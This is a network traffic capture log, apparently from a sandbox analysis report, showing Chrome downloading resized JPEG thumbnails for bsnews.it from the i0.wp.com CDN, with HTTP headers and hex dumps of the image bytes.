2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 8f 72 00 eb d0 d7 a5 c5 14 b9 70 8f 43 d1 6f 22 35 83 21 2d 52 56 60 94 18 6a f3 35 71 43 8b 33 c7 e0 27 b4 7b ce 0d 2b a0 d4 ad d2 23 b4 ab 56 18 0d b9 85 2f 74 1d e9 d1 a2 2a 36 95 1e 80 e5 d8 97 bb 4b 58 22 f8 97 e2 5b a5 73 59 51 20 8f 52 31 e9 dc 06 30 38 2f 31 1f bd 11 39 52 6d 31 47 bc e2 13 85 04 ca c9 a5 85 0a 39 1f 11 eb 45 9c c3 53 25 f7 86 0f 86 19 ec d2 65 29 38 23 0f 6c ae d3 6d a2 76 9f 0c 97 06 ee 5c de 0b 98 73 4a f6 f6 10 18 29 1f d0 45 65 ff 00 5a 70 0c ac 7a 6d d4 eb 2e 46 8b b5 f1 3b 4a 36 81 36 f2 a6 88 21 f7 8c 8d 69 79 89 48 da 15 6e f6 63 d0 49 05 0b ea 46 f1 d2 a6 ca 63 96 43 d2 56 e0 66 60 46 1b e9 a1 d2 93 e0 80 e0 66 5c b8 b3 44 bc 1e a2 8c 65 c3 fe 16 57 4c fd 26 03 cc 33 28 b0 17 98 68 07 b6 b3 28 71 01 63 55 8a 94 e0 d8 fa Data Ascii: rpCo"5!-RV`j5qC3'{+#V/t*6KX"[sYQ R108/19Rm1G9ES%e)8#lmv\sJ)EeZpzm.F;J66!iyHncIFcCVf`Ff\DeWL&3(h(qcU
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: d4 f4 bf cc 56 76 07 1b e3 f5 9b 91 dd 49 a7 08 0e 02 ab a0 25 02 9e 91 3b 03 69 a9 e2 2a 66 5b 00 a4 c7 30 a8 dd 75 80 4a 22 1d e0 10 94 9b 96 06 ca 8d 2d 98 88 97 26 61 a3 e9 3d 4c df aa 95 99 a4 a5 a1 87 c2 7c fe f7 8a 4f ee 09 f7 fc dc 50 45 7d 9e 75 9d d0 fa b3 5c 37 bc 2f e0 23 70 79 9a 02 69 96 da be 25 f3 73 6c cc 43 05 e4 e3 48 8c 83 bb 64 65 58 66 88 cb 2c bd 33 07 54 ae 62 6f c7 fd 07 ce 2f 29 7d 2f 04 6d ac e1 12 ba c6 6a 29 82 83 42 f9 43 2a 6b 17 cb e9 fb 51 aa 44 a3 61 fc 7e e9 76 3e c5 9a df 33 be 65 97 f0 8f 42 b4 5c 70 56 b0 86 83 86 50 e4 ed 07 ba 7e 8c c7 08 59 a2 f9 26 ba e7 cc 45 b5 44 3b ca c4 73 2f 12 e7 74 00 19 d5 e2 3d 16 5b 0f a2 2a 70 cb 94 47 94 78 0c 54 70 cc ba 62 76 80 c2 e3 24 b6 97 92 52 53 e5 72 82 71 6e f5 28 a0 82 b2 Data Ascii: VvI%;if[0uJ"-&a=L\|OPE}u\7/#pyi%slCHdeXf,3Tbo/)}/mj)BCkQDa~v>3eB\pVP~Y&ED;s/t=[*pGxTpbv$RSrqn(
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 07 84 fd c6 f9 10 ab 03 32 eb 10 9b 87 95 84 55 a8 81 05 a5 95 35 04 08 67 32 d4 3a 96 84 36 45 bc 8c 68 c6 96 cb 11 09 57 0c dc 03 44 07 46 99 7f 72 d0 40 00 eb 55 b5 c4 b8 46 c8 e9 2f 3f 11 35 88 db d0 7b 82 d4 1e bd bf 42 12 48 ed 1a 8b 75 d5 5c 4f 64 30 aa 71 10 9c 3c 23 ea f7 55 fc c3 55 0e 93 ed 66 60 63 e9 b8 45 00 1b e2 60 82 fe b5 f7 d4 03 92 50 48 fa df e2 57 18 ea 50 e9 f6 b3 ea 2c 33 15 1d 7f bf 79 64 22 fd 5d 40 e8 52 a9 f5 69 03 5a e5 8d 5d 57 1c ca 50 46 d5 02 fe 37 07 76 26 0d ab 1b cb fc cc d1 f5 fc 44 ba 14 bf 6d 91 a4 55 30 63 40 6e 52 09 f9 fb ee 22 d1 02 cf 71 f8 5a e1 8a 7d 49 cb ff 00 75 28 51 b6 1e bf c8 7e 4e 73 b1 be 71 a6 30 47 35 76 27 f7 08 7a 0a af 5d d7 72 df 11 59 55 f5 a7 fb 83 20 48 15 2f 57 90 d6 2b 1f 4f 0b 60 a4 92 f0 Data Ascii: 2U5g2:6EhWDFr@UF/?5{BHu\Od0q<#UUf`cE`PHWP,3yd"]@RiZ]WPF7v&DmU0c@nR"qZ}Iu(Q~Nsq0G5v'z]rYU H/W+O`
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 45 53 0b b7 d6 a0 b6 a1 aa c9 3c ea 1d 59 b6 03 07 b4 1d a8 3d 46 29 cf cc a5 1b 32 d5 9d cb 97 ba c5 e0 1c 71 9d 4c 36 fb a3 4a 7a 7e a2 80 8f ab 04 10 a6 3b 90 fd a6 8b 0c 9c 84 57 47 b4 3c 0f 50 5e db b1 e8 95 9c 18 78 f9 a1 0d c6 59 15 d8 b6 1b b4 d1 e2 0e 6b ed fe c2 5d fe 8f 31 e1 fd 9e 67 1a 1e e4 01 28 0a 12 32 54 05 9b 07 6d b3 46 1f 79 91 c3 ef 10 76 00 5b d0 e1 fb 97 c0 13 23 5b e4 9b 0a 1c a5 3e 58 a6 88 6f a9 7c bc 4a c8 b8 1d 51 5f 4b 16 31 04 50 a3 54 38 28 20 2f b9 71 9b 98 99 75 1e e7 da 01 db ed 0b 9c b0 38 58 d5 4c 19 d4 38 04 d3 86 17 8e 7e 60 c8 4e 1d 0d f1 d6 2d 2c a7 01 b8 29 59 3b 65 f1 31 3e 20 6a 61 15 9c 5a 11 45 3d bc a6 fe 25 9f 64 90 7b 3f a9 64 35 e3 7d 45 fa 3c 92 81 0e 48 97 2b 71 c6 8a a0 ea 8a 0a c8 9b 25 d1 39 24 c5 30 Data Ascii: ES<Y=F)2qL6Jz~;WG<P^xYk]1g(2TmFyv[#[>Xo\|JQ_K1PT8( /qu8XL8~`N-,)Y;e1> jaZE=%d{?d5}E<H+q%9$0
2024-03-28 08:51:09 UTC	1331	IN	Data Raw: ba ce 00 ca 0e 1a 04 df 2a 0a 3a d0 a6 28 9d 48 1d 40 c4 37 ee f5 8e 93 e8 b0 c3 98 b8 28 ac 81 6e f2 e3 a4 71 9f 63 cd 9a f5 9d b0 2e 00 39 40 dc b0 f4 17 6f a1 1a 2e ea fd 55 6b 65 bc 68 c7 33 2c 84 2f 6d ee 95 e7 97 06 65 99 4c ac 03 d5 d2 22 fa 19 d1 98 3e 8d 4c 8c aa d4 06 df a9 0e 75 19 f9 b5 62 6d b7 02 bb c7 e6 68 a7 15 b0 67 0a 39 e3 4c 1a e9 4b 70 6e d4 07 bc 74 ea 0a 58 88 96 22 61 3b 92 b7 33 6e e2 16 bb 9c a1 f6 49 59 d1 0d 98 2d 36 f1 fb 71 76 3d 77 34 e7 51 2a d8 17 d6 50 58 cb d2 66 29 d4 58 22 28 06 17 12 84 b0 c6 79 1c 90 12 5d 8e a5 c1 b8 32 a5 dd f6 0c b2 57 37 5d 86 b3 4c 63 16 b4 73 05 ba f4 40 56 0e 07 4a a4 55 5d 17 86 41 96 4a ba ac 71 c6 26 72 b0 1f e8 71 04 0e a0 f4 25 1f 2c 72 79 3d e6 64 1b eb dc c0 33 3e 84 66 06 0f 43 bf 98 Data Ascii: :(H@7(nqc.9@o.Ukeh3,/meL">Lubmhg9LKpntX"a;3nIY-6qv=w4QPXf)X"(y]2W7]Lcs@VJU]AJq&rq%,ry=d3>fC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	49874	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:09 UTC	410	OUT	GET /bsnews.it/wp-content/uploads/2024/03/maxresdefault.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:09 UTC	592	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:09 GMT Content-Type: image/jpeg Content-Length: 13089 Connection: close Last-Modified: Wed, 27 Mar 2024 17:35:23 GMT Expires: Sat, 28 Mar 2026 05:35:23 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2024/03/maxresdefault.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "0682716eb3df6734" X-Bytes-Saved: 639 Vary: Accept X-nc: HIT dca 2 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:09 UTC	777	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 04 04 04 04 05 09 06 05 05 05 05 0b 08 08 06 09 0d 0b 0d 0d 0d 0b 0c 0c 0e 10 14 11 0e 0f 13 0f 0c 0c 12 18 12 13 15 16 17 17 17 0e 11 19 1b 19 16 1a 14 16 17 16 ff db 00 43 01 04 04 04 05 05 05 0a 06 06 0a 16 0f 0c 0f 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 ff c2 00 11 08 00 a0 01 44 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 01 05 01 01 01 00 00 00 00 00 00 00 00 00 00 04 01 02 03 05 06 00 07 08 ff c4 00 19 01 00 03 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 00 04 05 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 7e 2b 6b 8c e5 b0 72 Data Ascii: JFIFCCD"~+kr
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: eb e3 87 91 36 24 9a db 2c 60 9e ba 56 59 6c 02 10 e2 51 1d 83 10 9e 53 0f a7 f9 3e c8 0f 4e 63 19 cd 62 f8 37 60 42 45 26 cc 73 5a 0f 73 bb 0c cb 20 ee 5e 92 27 12 32 2e 1f 4e f5 d6 4d 09 cc 0c 70 25 10 58 d9 fc e5 1b d1 a8 4c a9 8b 67 2a 25 0f b9 26 78 8f b7 2c cc e6 82 96 55 96 5b 0a b1 ca c0 e0 a6 1b 17 32 48 ca c8 ac 52 a2 de e7 4d db dc 94 39 78 7a 24 e8 d0 69 16 15 3a 71 d1 b8 49 d5 fc 36 6d 1f 63 1e 9a a7 97 3a 80 16 c5 50 80 b6 72 63 4a 97 b5 44 d5 0b 6f 56 fa e6 8a f2 81 4e 66 29 62 f4 b8 d9 24 0a d3 29 e3 3d 5b ad 29 ca 60 85 4b 36 35 ae 8d 70 e5 86 76 59 1b 20 b4 44 9c 33 94 fa 1d 86 5e ff 00 87 a6 69 07 1e 54 26 4a 92 36 b0 6d 6a 6d 69 d5 7d 9f 30 4e 66 3a ed 14 b9 58 ca 6b 62 cc f0 da d9 b2 12 03 aa a8 aa 99 81 ee 1d e1 4c 6f 0e 1e 95 1c 9d Data Ascii: 6$,`VYlQS>Ncb7`BE&sZs ^'2.NMp%XLg*%&x,U[2HRM9xz$i:qI6mc:PrcJDoVNf)b$)=[)`K65pvY D3^iT&J6mjmi}0Nf:XkbLo
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: b0 98 78 f8 22 f5 69 98 15 30 7f c8 ac e0 e2 6a b9 f4 cd 3b 59 a6 f3 0f 87 73 00 3e 04 ed 37 ef e0 59 c5 21 dc c6 04 00 dd b9 09 ff 00 9a 6f c7 68 9c 5e b8 0e d0 91 01 1b 3e c6 6a 2d c3 38 e4 d7 4e 35 a5 9d 9a bd cf 4f 69 d3 da 53 e9 99 75 f1 cb 04 ad 85 9d c5 68 8d 35 3d b9 0f b6 12 76 02 72 e3 3f 4a 64 f5 31 08 13 d8 02 66 e7 6e 46 73 63 37 ee 58 cd e3 33 33 0e 53 72 62 f7 82 56 85 a5 25 01 b1 c1 01 fb 6f 07 78 17 b5 08 78 36 db ea 1d f2 f2 ff 00 27 2d e1 63 1b 93 43 cb 88 72 26 65 87 72 e7 a9 d5 69 85 da ee 6c 42 36 e2 71 5e 2d 58 d9 cb 17 fd 25 67 1c ff 00 f2 6f e0 a6 6e 26 e2 72 59 e9 85 79 4d f6 f0 5d 80 e5 dd 6c ed cb d4 76 df b4 1d e0 21 12 ac 9a ec 94 58 a6 ac fc 94 a0 35 95 19 6b 6e ee db 10 44 66 85 8c db bb 71 6c 1d 97 71 3d 29 84 76 8c 20 33 Data Ascii: x"i0j;Ys>7Y!oh^>j-8N5OiSuh5=vr?Jd1fnFsc7X33SrbV%oxx6'-cCr&erilB6q^-X%gon&rYyM]lv!X5knDfqlq=)v 3
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 6b 2c 45 15 b5 97 b5 8c 63 11 64 1e 08 2e a2 3d 87 ca b6 46 aa 6a 7b 26 5e 0e 26 70 c4 f8 d1 f1 a3 e3 44 60 91 85 e8 4a e4 21 97 b2 e4 89 ac b3 65 14 70 9c 32 29 1e c9 76 25 0a 12 6c a9 1a 51 6a 79 16 fd 85 2d 96 d6 6a 66 3b c6 db 28 ff c4 00 3a 10 00 01 03 02 03 06 02 08 05 04 02 03 00 00 00 00 01 00 02 11 21 31 03 10 12 20 22 32 41 51 71 13 61 04 33 42 73 81 91 a1 b1 30 52 72 c1 d1 14 82 e1 f0 23 53 43 62 74 ff da 00 08 01 01 00 06 3f 02 7e 56 53 90 4f f7 8d c9 de 18 d6 e6 fb 21 78 6f 9a 19 ec b8 ca 30 e1 a4 d4 82 ab c4 2f 93 69 cd 3e 16 11 f2 42 8a 4a d6 79 59 68 d0 d0 14 86 c4 e7 ad b2 7c 93 5c da 69 a7 65 89 26 68 b1 40 eb 9b b1 01 2e 13 31 d1 1c 17 6c 63 ba b2 e7 e9 a7 40 9a f7 0d e3 d7 96 c4 d1 3d 1c 8b a7 26 f7 4f f7 ad cb 10 9f 3e 6a 5d cc d5 69 Data Ascii: k,Ecd.=Fj{&^&pD`J!ep2)v%lQjy-jf;(:!1 "2AQqa3Bs0Rr#SCbt?~VSO!xo0/i>BJyYh\|\ie&h@.1lc@=&O>j]i
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: ca 61 17 00 84 b4 98 5a 85 34 84 71 5f e8 a3 10 34 46 be 88 62 b9 cd ec 56 82 7b 79 27 02 2a 44 05 a4 e7 1b 03 0f fe c1 a3 e6 8d d1 c5 ff 00 a8 6a f8 f2 53 95 b2 08 e6 27 d8 47 aa d3 cf 9a 1d 0a 1e 68 29 f6 56 94 7d 9f 22 14 05 26 20 0a ad d3 4e eb 89 4c c2 9d 41 5c 2a 95 c8 20 c8 de 26 89 d0 e1 a5 ee 8a 39 34 c7 ea 5a a5 b2 54 8c 40 07 45 1d 32 3b 2d 70 f6 4c ac 5d 1c 05 da 9b d8 d5 33 f3 63 bb 57 c0 53 f9 ca bb 78 98 6d ef 08 c3 6b e6 89 e6 6e a1 d5 0e 0b 74 d7 94 a8 35 a5 42 2d 22 5a b5 2d 5a 79 64 58 d9 92 54 ea 5e b1 71 d0 28 0e fa 28 d4 a1 af 44 87 d5 6a 79 24 a1 3c ac a3 53 fe 6a 20 c4 73 5c 3f 83 83 d4 ee 2a 70 b4 69 60 f2 1b 34 43 36 7f ed 45 6c ec ad 95 95 82 e1 5c d1 87 15 c6 ef 9a aa 86 ab 2f 56 3e 0a 3c 35 56 c7 c5 50 20 5c d9 08 ef 40 e9 0a Data Ascii: aZ4q_4FbV{y'DjS'Gh)V}"& NLA\ &94ZT@E2;-pL]3cWSxmknt5B-"Z-ZydXT^q((Djy$<Sj s\?*pi`4C6El\/V><5VP \@
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 73 a5 45 a9 07 0f e2 13 00 0d 04 d2 6f 0d a0 2d 8f 82 12 83 55 9e 66 a6 61 7d 75 e9 3f 3a 7a 42 2e 3b 62 50 db 4d 9d 52 2b f1 02 d1 4c e6 32 70 03 88 0d c7 28 53 97 7d 49 8b 20 e2 c2 ce 1c 11 66 95 2c dc 11 f4 3d 3f eb c0 42 36 32 e5 c1 8c 07 75 78 1f 10 1c 95 dd f4 7e 40 8b b3 30 7c df 74 17 0f 96 17 f4 43 c6 5d 1f b6 65 bc 41 02 77 89 d8 7c cf fb 93 fe 94 ab a7 cc b5 ac 70 d8 f0 bf 04 1d 26 bf 28 4b 60 26 a0 0b ad 62 ea 6e 49 a1 8a 29 c4 22 5a 3e 4a 62 ef ff 00 39 ee cc e7 ad 78 81 7b 99 56 72 ce 2a 03 7e 1a af b9 92 27 29 c3 4c 24 35 05 59 c8 9f e6 54 58 e8 d7 01 e3 89 f8 dc 98 3f fa 7a 26 f4 3d 7f cc c4 c4 3c 2b e6 17 4d c3 b6 b1 12 db a9 9e 45 c4 18 a1 65 11 4a a8 89 6d 10 6d 48 66 b3 4e f3 e6 2d 2c d7 71 f2 92 ad 66 44 3f e4 1a b3 9f b9 d7 98 a2 35 Data Ascii: sEo-Ufa}u?:zB.;bPMR+L2p(S}I f,=?B62ux~@0\|tC]eAw\|p&(K`&bnI)"Z>Jb9x{Vr*~')L$5YTX?z&=<+MEeJmmHfN-,qfD?5
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: a6 26 60 b9 b8 1b d9 08 45 a8 5e e5 3d bf 9e 22 66 d0 bb f8 9e f3 8c 7d e1 ae e3 a8 23 40 17 8e ac ac 30 5c b5 a3 e4 88 0a 26 98 b8 f7 f4 4d a3 a0 94 3a 66 66 a9 a2 5a 5e e6 04 18 f7 94 be 9d d9 80 ef 01 4d 3d 29 10 76 43 b7 51 c6 be fe 83 0a 98 53 ac 32 96 16 9e e1 47 ee 38 6a 53 33 23 10 a7 b2 74 76 8e a3 e0 62 3c 09 3f d1 43 74 b3 bc a3 19 c4 ef 25 7c 22 70 5a 1f 53 da 62 f0 1d bd 3c 2f dd e8 c8 13 01 d5 50 86 6e 71 2f be f1 8a c5 44 5e 08 a5 e3 fb 12 e0 63 16 3c 22 69 d9 20 fb d4 d2 77 58 09 76 8a 75 1a a9 76 4c b1 a0 32 4b 2a 54 2f ac 1b 88 c4 8b 78 5a ae b0 e3 e6 74 40 f0 f0 ac 57 8f 98 1e 9d 50 ab fc 43 4f 68 b3 36 23 c3 e8 2f 92 77 48 82 ce 64 0d 02 69 32 b1 16 d0 94 97 b4 6c 9f c4 6f f9 ae 36 4d c7 3e 63 ec 39 8d 5a bb c4 ff da 00 0c 03 01 00 02 Data Ascii: &`E^="f}#@0\&M:ffZ^M=)vCQS2G8jS3#tvb<?Ct%\|"pZSb</Pnq/D^c<"i wXvuvL2K*T/xZt@WPCOh6#/wHdi2lo6M>c9Z
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: a7 a8 78 c5 ae ca 00 75 70 69 a8 69 be 34 7d 71 f8 96 72 99 02 a8 9c d0 3d ba 94 b7 62 a3 78 04 1a 5e 74 fd cd 29 5a 54 d9 ba 95 02 e3 52 50 15 7c 11 ad f5 05 f5 30 85 85 df f0 9e 81 06 42 d8 af 31 ea b8 47 5a ee 1a b5 2b 21 d7 f7 12 40 30 7e a2 f6 44 ce a5 c0 07 1f 9f 96 58 70 fa 76 af 3f 31 79 06 95 b1 b6 a5 26 01 68 fb dc 50 ef a5 a6 39 15 e7 a8 88 59 4f ac d8 46 e7 83 ff 00 d2 1b d7 45 cd b4 fc c0 da 57 3d 45 73 f3 70 1a 1f 07 d2 38 68 6a 87 67 2f f9 f3 12 c0 10 a7 aa ab 7f 73 2a e2 10 46 a8 d2 a1 b8 a7 a6 4f 02 bc 91 50 c7 15 50 f2 0d be 20 34 7f 11 1a 6a 6e aa cb fc c3 97 ac a5 51 45 67 ff 00 15 90 d2 30 27 64 e6 c8 52 b6 e8 37 ca 57 be 08 8a 86 d0 e7 3a 2f ba 94 00 ad 1d ad ef 09 50 5c a9 56 dc a7 0b e2 76 ec 7a f3 00 00 03 a0 89 02 37 d6 7a 2e 87 Data Ascii: xupii4}qr=bx^t)ZTRP\|0B1GZ+!@0~DXpv?1y&hP9YOFEW=Esp8hjg/s*FOPP 4jnQEg0'dR7W:/P\Vvz7z.
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: c1 5f 71 9e eb 84 bd aa ad fd 55 9f 10 f3 6e f2 31 39 68 4b e7 3a f9 60 08 34 40 aa bd bd 87 dc d8 c8 55 32 ab 98 ea d6 42 f6 95 7f b0 7b a0 5c ae fa a8 2f 84 6c 1d 9f 65 81 e1 9d 2c 30 44 cb 8b 57 0a 17 62 c8 b6 28 3a c4 56 39 07 c3 2b f6 17 8f 5c c3 4c 0b 11 b1 94 f3 29 e4 80 1a ca 5a 75 15 8f 08 d5 a1 d0 b1 82 ea cb 2a 12 59 60 45 3f 11 fd f7 1f ed 11 bb cf 56 fe ce 0f e6 b4 3f 3e 71 fe 45 76 bd 3f c2 36 2a 0a b3 18 63 50 87 fe 97 ff 00 15 e4 fa 91 03 f8 20 ed 9c 5a 6e 9c d3 71 90 eb a0 34 b7 1d 6f 11 1d c5 8a 90 01 68 f5 17 e2 f8 10 56 8f 7e 60 a1 3e 52 38 0b 1a 39 cd af fb 14 07 32 73 a4 80 88 d1 08 68 61 fb 09 4f 71 22 c6 e4 ed 81 ec 97 db 2e 71 03 38 45 04 c4 f6 8c 68 1e d8 0d 5b f5 71 e3 0b 2b ae fd 0b c0 f5 b2 97 c1 8a 59 6d 53 c5 07 dc 7f 45 28 Data Ascii: _qUn19hK:`4@U2B{\/le,0DWb(:V9+\L)ZuY`E?V?>qEv?6cP Znq4ohV~`>R892shaOq".q8Eh[q+YmSE(
2024-03-28 08:51:09 UTC	1360	IN	Data Raw: 2d a6 fa 45 aa 50 2e c5 3f 17 e3 2f 66 b9 6b af 1d 40 25 93 c9 5c 22 11 00 1c ed e5 f9 6b e6 3d 14 7a f8 88 21 cc ea 03 7c 32 eb 5a d0 65 8d 10 2c 71 0d af 88 e2 d1 0f 88 0e 4a 57 c8 65 b9 fb 8a 18 ed 79 95 b4 ec 2d 77 5e ae 20 e7 ee e2 95 d4 f2 75 1d 28 aa 85 6f b1 0f 56 81 47 0f 37 fa 9b c0 71 4a 11 fc ca 46 d2 d3 ba af a9 9c 85 29 6b b0 7d ae 52 62 3b a5 13 af 15 18 da f3 36 75 dc f4 8f 68 ab 72 53 49 4f c5 92 94 22 d2 b6 78 48 ed e6 aa c7 d1 5e 20 16 60 1b 1a b2 bd 6d 48 c3 19 02 1b 14 ad 40 f7 ba 9b de 2b 85 16 76 f8 f3 67 30 e1 85 bc 0c 0e 8f 64 99 0f 60 5b 2c fe 4f 46 41 f3 12 29 e2 09 28 00 e1 a8 2d 41 cc 52 cc 25 cf c2 0d b5 07 28 6e a6 31 d7 12 e3 34 9e 54 02 16 86 ca 57 58 dd e7 d4 16 4d ab ec 07 bd cf 86 09 35 4b 55 75 62 03 54 f3 a6 c1 5a bc Data Ascii: -EP.?/fk@%\"k=z!\|2Ze,qJWey-w^ u(oVG7qJF)k}Rb;6uhrSIO"xH^ `mH@+vg0d`[,OFA)(-AR%(n14TWXM5KUubTZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	49873	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:09 UTC	408	OUT	GET /bsnews.it/wp-content/uploads/2024/03/bsnews-10-3.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:09 UTC	589	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:09 GMT Content-Type: image/jpeg Content-Length: 8151 Connection: close Last-Modified: Wed, 27 Mar 2024 17:35:24 GMT Expires: Sat, 28 Mar 2026 05:35:24 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2024/03/bsnews-10-3.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "5b84909e111d2dc9" X-Bytes-Saved: 235 Vary: Accept X-nc: HIT dca 1 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:09 UTC	780	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 ff c2 00 11 08 00 a0 01 44 03 01 22 00 02 11 01 03 11 01 ff c4 00 1b 00 00 01 05 01 01 00 00 00 00 00 00 00 00 00 00 00 03 00 01 02 04 05 06 07 ff c4 00 19 01 00 03 01 01 01 00 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 d4 e5 3a be 33 8f aa db Data Ascii: JFIFC%# , #&')*)-0-(0%()(C(((((((((((((((((((((((((((((((((((((((((((((((((((D":3
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 1a f2 db b8 dd 19 23 0d 8a d1 63 09 0d 79 d4 d3 11 26 ab d7 b6 02 a3 36 98 9a d0 2c aa 40 b4 c8 ca 79 9b 6c 03 2d da 33 55 65 07 d2 2c 69 e4 5d 67 57 d6 f2 3d 03 34 55 34 d7 3d e5 fe a1 e5 dc bb c6 8d ea 37 29 d9 5c 24 90 3b b2 0b 57 32 f4 53 eb f4 b9 ee 87 0e be 13 56 90 f5 e6 22 84 62 eb e8 e7 2d 32 bf 77 1f 72 6a a0 77 a2 9e 1b de 1d 28 4e d6 be 1b e0 87 57 26 b3 a7 a7 4b 72 e4 f8 e8 0a 80 a6 db 62 f7 63 d0 27 ab 00 66 07 52 b3 15 cc fc b7 d4 bc b3 0d 9e 86 8e 73 97 49 f4 84 ce 81 27 40 b4 f3 2f 86 cc f0 e2 89 1e 93 81 e3 09 04 a4 d3 61 7b 7e 57 a7 87 02 40 73 45 ad 27 97 b5 ab c9 d9 e4 da ae 1e dd 6e bc 69 ca f5 6b 29 42 d6 a3 9e 7a ea 23 5b b5 ad 50 c7 4b 59 97 f3 6e 6e aa ca e7 a0 f2 cf 53 f2 b8 b2 e7 e8 52 40 dd a7 b6 6c 9e 20 93 a0 53 67 09 4d 9c Data Ascii: #cy&6,@yl-3Ue,i]gW=4U4=7)\$;W2SV"b-2wrjw(NW&Krbc'fRsI'@/a{~W@sE'nik)Bz#[PKYnnSR@l SgM
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 2b 21 51 52 8b 4a cc ae a7 93 21 ff 00 93 b7 9b 64 57 19 f8 ac d8 6e ee ef f5 92 32 c5 4d 48 1d 1c 11 43 18 7c ae 59 ba ac ac b2 ae 5a 11 84 72 84 e7 a7 9b 9c 91 15 10 6e 4e 43 af 2c 6e 28 c4 f4 e6 9b f1 9f 8a cc 25 ef c4 ff 00 80 17 51 c4 4a 7d 3d e4 26 eb 31 c2 d8 59 65 59 17 2d 58 2d 02 ba 27 02 8a 38 15 1c ce 8c b5 f7 59 96 75 ff c4 00 20 11 00 01 04 03 01 01 00 03 00 00 00 00 00 00 00 00 01 00 02 11 20 10 21 31 03 12 13 30 41 ff da 00 08 01 03 01 01 3f 01 f0 ab f6 50 6c a7 32 10 09 a2 05 1d ca 3a 9e 4a 72 5d 0b eb 69 8a 25 3c 6f 58 95 2a 51 a3 a9 e7 cc cc 27 99 38 f3 74 20 8c 54 a8 cb b3 29 9c c3 8c 22 f9 a3 5d ab 14 32 ea 33 98 f4 74 9a b0 ff 00 2c e2 b6 d5 f4 4a 26 34 17 d4 d1 9c 47 96 60 c1 c1 d6 21 3d 37 5b b3 38 9e 6b f8 5c 9b a2 8b 97 d1 28 03 Data Ascii: +!QRJ!dWn2MHC\|YZrnNC,n(%QJ}=&1YeY-X-'8Yu !10A?Pl2:Jr]i%<oX*Q'8t T)"]23t,J&4G`!=7[8k\(
